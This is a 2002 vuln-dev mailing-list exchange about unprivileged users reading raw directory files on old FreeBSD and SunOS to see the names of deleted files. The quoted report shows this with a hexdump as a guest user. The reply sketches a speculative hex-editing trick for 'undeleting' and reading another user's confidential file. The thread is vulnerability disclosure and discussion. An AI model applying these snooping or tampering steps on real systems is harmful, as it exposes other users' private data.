RE: spying (deleted) file entries in other users' directories
From: Holmes, Ben (Ben.Holmes@getronics.com)Date: 07/02/02
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Date: Tue, 2 Jul 2002 21:31:34 +1000 From: "Holmes, Ben" <Ben.Holmes@getronics.com> To: "FozZy" <fozzy@dmpfrance.com>, <vuln-dev@securityfocus.com>
What happens if you change bytes 45, 46 and 47 to be the same as 2B, 2C
and 2D respectively in /public (and make it world read/writable) on
those affected systems?
Can you then read the file (Assuming they are attribute markers and
assuming that the file is not overwritten and assuming you can open a
directory for write..)?
Better still, what if you copied the hex of that directory then just
rewrote it inside a directory you created (getting around the DIR having
to be world RW)..
for example (using what you have written, I am on a Win2k box and so I
can't just cut&paste from a shell prompt, and guest is an unpriv user)
{guest}~$ uname -a
Some Old Vulnerable System running on a CPU since When_Noah_was_a_boy
{guest}~$ whoami
guest
{guest}~$ mkdir ~/test
{guest}~$ cd test
{guest}test$ touch TestFile1
{guest}test$ touch TestFile2
{guest}test$ cd ..
{guest}~$ <some hex editor> test
<now you change the contents of "test" to be exactly the same as /public
and therefore point to the
inodes/blocks/sectors/whatever-that-filesystem-calls-it that are pointed
to with /public except changing bytes to "undelete" the file>
{guest}~$ cd test
(hopefully and probably with much dreaming)
{guest}test$ cat confidential-doc
<body of document>
Just a thought.. I'm sure most MODERN filesystems are immune to this
sort of tampering..
(I'll have to look into low level directory editing with NTFS, I just
spent about 2 months manually recovering the $MFT with DiskEdit and
finding the corruption was on top of the sectors I wanted anyway, I have
to get something out of it, I doubt Windows NT+ would allow me to open a
directory, even one I own, for binary write..), but the cross linking
may cause a filesystem checking app to get it all wrong and give the
wrong person permissions maybe!?..
-- Benjamin Holmes
E&OE. All spelling and grammatical errors are for your enjoyment and
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> -----Original Message-----
> From: FozZy [mailto:fozzy@dmpfrance.com]
> Sent: Sunday, June 23, 2002 6:57 AM
> To: vuln-dev@securityfocus.com
> Subject: spying (deleted) file entries in other users' directories
>
>
> Hello,
>
> There is an old known (i hope) security issue if
> unpriviledged users are allowed to open() a directory to get
> a file descriptor and then read() the contents of this file.
> A directory is itself a file storing the names and inodes
> numbers (etc.) of the files it contains, including deleted
> ones. So if a user reads this file it can get the names of
> the deleted files.
>
> The examples below show that on an old FreeBSD4.4, if you
> store files into a private directory readable only by you,
> then you remove every sensitive files and give read-only
> access to everyone on the directory (no execute perm needed),
> the filenames will still show up to any user. Same thing if
> you change the directory name, of course. (mv bad; rm then
> mkdir rules ;)
>
> This becomes an issue when sensitive information is disclosed
> into the filename.
>
> Sorry if it was already done on this mailing-list, but if
> not, I think it could be interesting to some people to know
> what systems are still vulnerable and what are not.
> - Linux is immuned: the read() call return the error EISDIR.
> OpenBSD seems also to be OK.
> - FreeBSD 4.4 is vulnerable (didn't looked the CVS, it could
> be patched at this time, anybody knows ?)
> - I saw this for the first time 3 years ago on a SunOS system
> while doing "cat /root" as a user. I don't know if current
> Sun systems are patched or not.
>
> Don't misunderstand me, this is not an advisory on a new vuln
> i discovered, it is a request to the security community for
> publishing more info on this topic, cause i am too lazy to
> check it myself (although a quick search on google and
> securityfocus gave me nothing).
>
> Regards,
>
> FozZy
> Hackademy / Hackerz Voice
>
>
> rooted# uname -v
> FreeBSD 4.4-RELEASE #0: Tue Sep 18 11:57:08 PDT 2001
> murray@builder.FreeBSD.org:/usr/src/sys/compile/GE
> NERIC
> rooted# mkdir /test
> rooted# touch /test/public-doc
> rooted# chmod 700 /test
> rooted# ls -ld /test
> drwx------ 2 root wheel 512 Jun 22 13:01 /test
> rooted# touch /test/confidential-doc
> rooted# <...some work with the doc here...>
> rooted# rm /test/confidential-doc
> rooted# chmod 744 /test
> rooted# su guest
> $ hexdump -C /test
> 00000000 2d 4a 00 00 0c 00 04 01 2e 00 00 00 02 00 00 00
> |-J..............|
> 00000010 0c 00 04 02 2e 2e 00 00 d7 4a 00 00 e8 01 08 0a
> |.........J......|
> 00000020 70 75 62 6c 69 63 2d 64 6f 63 00 c8 d8 4a 00 00
> |public-doc...J..|
> 00000030 d4 01 08 10 63 6f 6e 66 69 64 65 6e 74 69 61 6c
> |....confidential|
> 00000040 2d 64 6f 63 00 ec 70 c8 00 00 00 00 00 00 00 00
> |-doc..p.........|
> 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> |................|
> *
> 00000200
> $ /bin/ls /test
> public-doc
> $ exit
> rooted# ls -l /test
> -rw-r--r-- 1 root wheel 0 Jun 22 13:01 public-doc
> rooted# mv /test /public
> rooted# chmod 755 /public
> rooted# su guest
> $ ls -l /public
> -rw-r--r-- 1 root wheel 0 Jun 22 13:01 public-doc
> $ hexdump -C /public
> 00000000 2d 4a 00 00 0c 00 04 01 2e 00 00 00 02 00 00 00
> |-J..............|
> 00000010 0c 00 04 02 2e 2e 00 00 d7 4a 00 00 e8 01 08 0a
> |.........J......|
> 00000020 70 75 62 6c 69 63 2d 64 6f 63 00 c8 d8 4a 00 00
> |public-doc...J..|
> 00000030 d4 01 08 10 63 6f 6e 66 69 64 65 6e 74 69 61 6c
> |....confidential|
> 00000040 2d 64 6f 63 00 ec 70 c8 00 00 00 00 00 00 00 00
> |-doc..p.........|
> 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> |................|
> *
> 00000200
> $ exit
>
>
>
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